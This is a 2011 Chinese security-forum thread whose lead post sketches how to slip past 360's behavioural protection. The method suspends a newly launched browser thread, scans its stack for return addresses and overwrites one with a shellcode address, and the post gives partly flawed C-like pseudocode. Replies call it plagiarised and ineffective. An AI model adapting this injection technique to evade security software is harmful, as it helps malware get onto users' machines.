查看: 6087|回复: 8
收起左侧

[转帖] 简单的构思绕过360主动防御

 关闭 [复制链接]
9303110
发表于 2011-7-3 21:18:46 | 显示全部楼层 |阅读模式
来源于(黑吧)
一个简单的思路,注入式绕过主动防御,PS:只是突然兴起想到的一个,简单构架
高手请指教谢谢!

注入分为两步
(1)写代码
(2)将控制权传给这段代码
简单的说下写代码,一般来说向另外一个程序写代码用的都是
KERNEL32    WriteProcessMemory函数   或者
ntdll    de NtWriteVirualMemory函数,这些都在MicroSoft中的MSDN中都有详细的解释
给其他程序注入的行为一般都会被主动防御等东西拦截,
破解任何一种保护方式的基础是破解他实施保护所依赖的前提,一般防御的前提是,
可以向没标记为可执行(没有EXECUTABLE属性)的虚拟内存中写入。
如果内存没有这个属性我们就可以任意向其中写入。

(爱情买卖清楚了)哈哈刺客刚刚说要唱。。。。。真给力

代码写向什么地方!有个简单的方法,写到堆栈内存里面,
我们用另外一个有效有意思的方法,代码写到堆栈中的指定位置!
现在的技术,堆栈中的代码并不能总是执行的,写入的位置也可以不仅仅在堆栈中,
现在我们针对简单的注入技术进行分析,
1.创建进城,以默认方式运行浏览器文件。2.执行一段代码后停止浏览器线程,
3.获得其上下文(需要堆栈指针)。4.分析堆栈中的返回地址。
5.写入写好的代码地址。6.恢复线程。
大致分为这些,没细来。
在这几步中最不容易实现。如何分析堆栈的出来的某函数返回的地址!
我们可以使用下面的方法,(沿堆栈向下搜索),会取得每一个DWORD。每一个DWORD都可能是返回地址。
是否是返回值有个方法可以验证,读取DWORD取得 DWORD表示的地址从此地址回进行反汇编。
如果遇到CALL指令。那就意味着地址是返回地址:
如    CALL X
      RET_ADDRESS:
      PROC X..
假设在执行X函数时停止了线程。在堆栈中就会存在保存在寄存器中的局部变量(STDCALL 调用方式)
保存在堆栈中的临时数据,及函数返回地址。这个返回地址就是RET_ADDRESS 它的值可以在堆栈里找到,
我们可以依赖EBP的值,这个一般也保存在堆栈中。
可以参考下多数函数标准的prologue 。
被停止的县城堆栈里可能只有一个返回地址。
(刺客的灰太狼!!!!)

下面简单的模拟下我们上面分析步骤!
Createprocess(BrowserFilePath,,processInformation);// 创建Thread
sleep(1000);
SuspendThread(processInformation.hThread);//停掉最初Thread
GetThreadContext(processInformation.hThread,&Context);//获取上下文
ReadProcessMemory(processInformation.hThread,Context.Esp,StackChunk,1000*4); //ESP中读取1000个DWORD
for(i =0;i<1000;i++)
{
ReadProcessMemory(processInformation.hThread,StackChunk[i]-10,CodeBuffer,10);
//读10个字节,如果返回地址这10个字节中就会包含CALL指令;
for (j=0;j<10;j++)
{
     disasm(&(CodeBuffer[9-j]),&Instr); //分析指令
     if((Instr.Length==j+1)&&(Instr.OpCode==0xe8)||Instr.OpCode == 0xff||Instr.OpCode==0x9a)
     // if Call
     {
      WriteProcessMemory(ProcessInformation.hProcess,(Context.Esp+StackChunk[i] - StackChunk),&ShellCodeAddress,4);
      //写shellcode地址
      ResumeThread(processInformation.hThread);//恢复线程
     }
}
}
----------重光巧克力没有--------------------有美羊羊,喜洋洋,于传说中的蛋糕妹擦肩而过------------------╮(╯_╰)╭某人快跟自己结婚了!--------------------------------------
下面一些我们利用寄存器传递参数方法:
    UPTOLW      PROC
       PUSHF
          CMP   AL,'A'
          JB    UPTOLW1
          CMP   AL,'Z'
          JA    UPTOLW1
          ADD   AL,'a'-'A'
    UPTOLW1:POPF
            RET
    UPTOLW      ENDP
    -------------------------------
    入口参数 AL = 字符 ASCII码
    出口参数 AL = 字符 ASCII码
    大写字母转换成小写,其他字符不变,
    简单的寄存器传递方法,!
hzqedison
发表于 2011-7-3 21:29:03 | 显示全部楼层
哈哈

评分

参与人数 1经验 -2 收起 理由
英仔 -2 抱歉,这个帖子按规定属于恶意灌水

查看全部评分

单身熟男 该用户已被删除
发表于 2011-7-3 21:30:37 | 显示全部楼层
咳咳。。小白围观
Tron
头像被屏蔽
发表于 2011-7-3 21:35:20 | 显示全部楼层
本帖最后由 Tron 于 2011-7-3 21:35 编辑
hzqedison 发表于 2011-7-3 21:29
哈哈


哈哈什么?金山能防?还是大脑出故障无故发笑?还是发现看不懂原帖故作掩饰?


另外这个不能过360主防,试试就知道

评分

参与人数 1经验 -20 收起 理由
英仔 -20 抱歉,请注意回帖内容

查看全部评分

Tron
头像被屏蔽
发表于 2011-7-3 21:38:03 | 显示全部楼层
文章完全抄袭自07年的一篇:绕过 KIS 7 防火墙的一种简单方法

http://rshell.blog.163.com/blog/static/416191702007111295736520/

对360完全无效, 对卡巴新版也无效了,可能只能过金山的脆弱主防了

Tron
头像被屏蔽
发表于 2011-7-3 21:40:24 | 显示全部楼层
本帖最后由 Tron 于 2011-7-3 21:40 编辑
单身熟男 发表于 2011-7-3 21:30
咳咳。。小白围观


网页会看吧,日期会看吧,帖子标题会看吧,

http://rshell.blog.163.com/blog/static/416191702007111295736520/

看看这个就知道不是围观了:)

原作者是董X同学,07年左右写的, 想法是抄俄罗斯人的。楼主还给加个美羊羊,真欢乐啊

评分

参与人数 1人气 +1 收起 理由
单身熟男 + 1 董杰?

查看全部评分

Tron
头像被屏蔽
发表于 2011-7-3 21:41:18 | 显示全部楼层
hzqedison 发表于 2011-7-3 21:29
哈哈

抄自07年一篇过KIS7的文章,对360完全无效, 对卡巴新版也无效了,可能只能过金山的脆弱主防了

哈哈!
爱卡会员
发表于 2011-7-3 21:42:50 | 显示全部楼层
嗯,看了mj提供的原文链接,此帖所描述的方法是一样的
午夜菊花男
发表于 2011-7-3 22:07:10 | 显示全部楼层
被揭露的主贴一般难逃被锁的厄运~留个名
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-1-15 06:27 , Processed in 0.117389 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表